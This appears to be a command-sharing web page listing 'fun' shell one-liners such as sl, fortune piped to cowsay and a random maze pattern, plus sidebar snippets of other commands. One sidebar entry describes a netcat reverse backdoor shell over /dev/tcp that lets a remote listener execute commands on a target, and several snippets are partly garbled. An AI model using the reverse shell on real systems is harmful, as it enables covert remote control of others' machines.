Commands tagged fun (13)

  • sudo apt-get install sl man sl


    24
    sl
    Svish · 2009-04-19 15:24:03 11
  • The British Government entering in the Gregorian era. Show Sample Output


    10
    cal 09 1752
    flux · 2009-04-22 00:13:19 4

  • 8
    fortune | cowsay
    CodSpirit · 2010-05-31 13:23:39 0
  • you could save the code between if and fi to a shell script named smiley.sh with the first argument as and then do a smiley.sh to see if the command succeeded. a bit needless but who cares ;) Show Sample Output


    3
    <commmand>; if [[ "$?" = 0 ]]; then echo ':)'; else echo ':('; fi
    potatoface · 2010-08-23 20:35:31 1
  • Shows "Bang!" in a chance of 1 out of 6, like in the original game with the gun (spin every round). Otherwise, echoes "Click...". If feeling brave you can also do: [ $[ $RANDOM % 6 ] == 0 ] && echo 'Bang!' && a really killer command || echo 'Click...' Show Sample Output


    3
    [ $[ $RANDOM % 6 ] == 0 ] && echo 'Bang!' || echo 'Click...'
    paulera · 2016-03-23 11:09:56 0
  • Generates labyrinth-like pattern on UTF-8 terminal in bash. For fun ;) Show Sample Output


    2
    while ( true ) ; do if [ $(expr $RANDOM % 2 ) -eq 0 ] ; then echo -ne "\xE2\x95\xB1" ; else echo -ne "\xE2\x95\xB2" ; fi ; done
    tobi · 2015-01-17 12:46:37 3

  • 1
    cowsay $(fortune)
    mandroid · 2010-05-31 12:47:06 0
  • Strangely enough, there is no option --lines=[negative] with tail, like the head's one, so we have to use sed, which is very short and clear, you see. Strangely more enough, skipping lines at the bottom with sed is not short nor clear. From Sed one liner : # delete the last 10 lines of a file $ sed -e :a -e '$d;N;2,10ba' -e 'P;D' # method 1 $ sed -n -e :a -e '1,10!{P;N;D;};N;ba' # method 2 Show Sample Output


    0
    seq 1 12 | sed 1,5d ; seq 1 12 | head --lines=-5
    flux · 2009-08-01 00:41:52 3
  • Let Tux bring the fortune cookie


    0
    fortune | cowsay -f tux
    Zaphod · 2010-06-01 09:04:01 0

  • 0
    emacs -f snake
    steadystatic · 2015-11-03 23:34:57 0
  • This is longer than others on here. The reason for this is I have combined two different matrix commands so it would work on all computers. I logged onto my server through a computer and it worked fine. I logged into my server through a mac and it looked $4!t so I have made one that works through both. Show Sample Output


    -1
    echo -e "CHECK=SAMPLE" output --command_to_long
    techie · 2013-04-03 08:46:47 1

  • -3
    yum install fortune-firefly; fortune
    madrasi · 2011-01-26 04:32:03 0

  • -6
    figlet -f roman message
    ekinertac · 2013-04-23 02:25:39 0

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convert a line to a space

find geographical location of an ip address
a shorter version

Create passwords and store safely with gpg
Adjust the $ head -c part for password length. I use filenames like "[email protected]" and a vim which automatically decrypts files with .gpg suffixes.

move you up one directory quickly
Alias a single character 'b' to move to parent directory. Put it into your .bashrc or .profile file. Using "cd .." is one of the most repetitive sequence of characters you'll in the command line. Bring it down to two keys 'b' and 'enter'. It stands for "back" Also useful to have multiple: alias b='cd ../' alias bb='cd ../../' alias bbb='cd ../../../' alias bbbb='cd ../../../../'

Schedule a command while one is already running.
Useful when you have only one terminal session e.g. ssh. and want to queue up another command after the currently running has finished(in case if you forget to run that command). Originally used as ; python-updater when running emerge. When I have noticed that a package failed due to that command not run.

Get file access control list

Find usb device
I often use it to find recently added ou removed device, or using find in /dev, or anything similar. Just run the command, plug the device, and wait to see him and only him

Which processes are listening on a specific port (e.g. port 80)
swap out "80" for your port of interest. Can use port number or named ports e.g. "http"

Reverse Backdoor Command Shell using Netcat
This is sneaky. First, start a listening service on your box. $ nc -l 8080 -vvv & On the target you will create a new descriptor which is assigned to a network node. Then you will read and write to that descriptor. $ exec 5/dev/tcp//8080;cat &5 >&5; done You can send it to the background like this: $ (exec 5/dev/tcp//8080;cat &5 >&5;) & Now everything you type in our local listening server will get executed on the target and the output of the commands will be piped back to the client.

generate random mac address


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